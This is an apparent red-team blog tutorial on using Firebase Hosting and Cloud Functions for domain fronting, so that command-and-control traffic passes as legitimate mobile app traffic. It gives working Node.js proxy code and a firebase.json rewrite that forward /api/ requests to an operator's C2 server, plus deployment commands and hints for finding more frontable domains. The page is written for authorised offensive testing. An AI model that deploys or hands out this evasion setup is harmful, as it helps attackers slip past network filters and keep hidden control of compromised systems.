😎
Intruder
  • About Shantanu Khandelwal
  • Reporting
    • Excel Sheet to Word Report by PowerShell
    • Ghostwriter - Add report type
  • Red Team
    • HTTPS C2 Done Right NGINX
    • Domain Front
      • Firebase Domain Front - Hiding C2 as App traffic
    • GoLang
      • Red Team: How to embed Golang tools in C#
      • Red Team: Using SharpChisel to exfil internal network
      • Converting your GO bins to Shellcode and Using them in C#
    • ShellCode Injection
      • magic_mz_x86 and magic_mz_x64
      • Process Hollowing DInvoke
      • Shellcode Formatter
      • DLL Sideloading
      • InMemory Shellcode Encryption and Decryption using SystemFunction033
    • PowerShell
      • Enable Restricted Admin using powershell and use mimikatz for RDP
      • Powershell Custom Runspace
      • Using Reflection for AMSI Bypass
    • Database
      • Extract MSSQL Link Password
      • MSSQL Link Crawl - OpenQuery Quotes Calculator
    • DLL Sideloading
      • DLL Koppeling
      • DLL Sideloading not by DLLMain
    • Walking with Docker
      • Self-Hosting Havoc C2 / or any other C2 in Docker
    • Breach Attack Simulation - Starting With OpenBAS
  • Dealing with the Errors
    • Setting Up OPENVAS in KALI 2020.3
    • Page
      • Page 1
  • Phishing
    • Connecting GoPhish with Office365
    • SharpLoginPrompt - Success and a Curious Case
    • Gophish MODs
    • Long Live DMARC - Email Spoof issues
    • Error Solves (Random)
      • Rust OPENSSL install issues
  • Mobile Application Testing
    • How to Download APK from Huawei App Store
  • Talks I Like
  • Talks Worth Checking Out
  • Web Application Penetration Testing
    • Parsing Certificate Transparency Logs
Powered by GitBook
On this page
  • Firebase Cloud Functions
  • Setting up Firebase Domain Front
  • THE FINAL TEST
  • Download Source Code
  • Credits
  • Connect with me

Was this helpful?

  1. Red Team
  2. Domain Front

Firebase Domain Front - Hiding C2 as App traffic

PreviousDomain FrontNextGoLang

Last updated 4 years ago

Was this helpful?

We often see that large organization use firebase for hosting their applications and database. Firebase has a lot of features such as real-time database, hosting, cloud functions, hosting etc. Today we are going to talk about firebase hosting and cloud functions which are used by a lot of mobile applications these days. In our recent project, we were able to hide ourselves as a legit mobile traffic and bypass a lot of traffic filters

Firebase Cloud Functions

Firebase allows an operator to write an applications in Node JS and deploy it using its hosting feature.

Setting up Firebase Domain Front

Step 1: Create an account on https://firebase.google.com

Step 2: Go to Console

Step 3: Create a project and give it a name

Step 4: Open your command prompt and install firebase cli.

npm install -g firebase-tools

Step 5: Make a folder and perform firebase cli login.

mkdir awesomedomainfront
cd awesomedomainfront
firebase login

Step 6: Initiate Hosting

firebase init hosting

Once you hit the above command you'll be presented with many options. See the following screenshot for responses to the options

Step 7: Initiate Cloud functions

firebase init functions

Again you'll be presented with many options. See the following screenshot for the response to the options

Step 8: Install Express and http-proxy

cd functions
npm i express --save
npm i http-proxy --save

Step 9: Edit the index.js

Since you are already in the functions folder after saving the npm packages. Lets edit the index.js file in this folder.

index.js
const functions = require('firebase-functions');
const express = require('express');

const app = express();

var http = require('http'), httpProxy = require('http-proxy');


var proxy = httpProxy.createProxyServer({secure:false,xfwd:true}); //Setting up X-forwarded for header 

// your C2 must have a URI . In this case I am using /api/" 
app.all('/api/*', function(req, res, next){
    console.log(req.url);
    req.url = "/api/" + req.url.slice(5);
	console.log("Req URL:"+req.url);
    proxy.web(req, res, {
        target: 'https://firebase.redteam.cafe:443/' /* Change it to your domain */
    }, function(e) {
        console.log(e);
    }); 
	res.set('Cache-Control', 'no-cache, no-store');
});


exports.app = functions.https.onRequest(app);

// // Create and Deploy Your First Cloud Functions
// // https://firebase.google.com/docs/functions/write-firebase-functions
//
// exports.helloWorld = functions.https.onRequest((request, response) => {
//   functions.logger.info("Hello logs!", {structuredData: true});
//   response.send("Hello from Firebase!");
// });

Step 10: Edit the firebase.json file

Go to the parent folder and edit firebase.json

cd ../
firebase.json
{
  "hosting": {
	"headers" : [{
		"source" : "**/*.@(js)",
		"headers": [{
			"key" : "Cache-Control",
			"value" : "no-cache, no-store"
			}]
		}],
    "public": "public",
	"rewrites": [{
	/* your C2 must have a URI . In this case I am using /api/" */
		"source": "/api/**",
		"function": "app",
		"run":{
			"region" : "asia-east2"
			}
		}],
    "ignore": [
      "firebase.json",
      "**/.*",
      "**/node_modules/**"
    ]
  },
  "functions": {
  }
}

Step 11: Deploy the project

Lets start the deployment of our firebase project

firebase deploy

Modify the plan of project from free plan to Pay as you go plan

Now lets try the deployment again.

firebase deploy

Final Tests for the Domain Front

Lets check what's hosted on https://firebase.redteam.cafe/api/index.html

Let's check if our app works fine

THE FINAL TEST

How to Find more domain fronts

Hint: Try to find domains whose CNAME ends with *.web.app

UPDATE (4/5/2021) : Vincent Yiu created a list for domain fronts in the following github repo

Download Source Code

Credits

Connect with me

So lets start by selecting a app hosted using firebase. In the following case we'll take / as our selected app.

Lets see if we are able to do Domain Front against a test domain /

Source code can be downloaded from my github repository

,

Twitter:

https://go.auk.eco
https://go.auk.eco
https://github.com/vysecurity/DomainFrontingLists
https://github.com/shantanu561993/Awesome_Firebase_DomainFront
Vincent Yiu
Jonathan Cheung
https://twitter.com/shantanukhande
Firebase Cloud Functions
Go to Console in Top Right Corner
Create Firebase Project
Set up a project name
Create a Project
Firebase Hosting Init
Firebase Functions init
Install Express and http-proxy
Error Message for deploying the project
Click Modify Plan
Select "Pay as you go" plan
Deploy Complete
Response from firebase.redteam.cafe
Response from amazingdomainfront.web.app
Domain front with Test Domain is Successful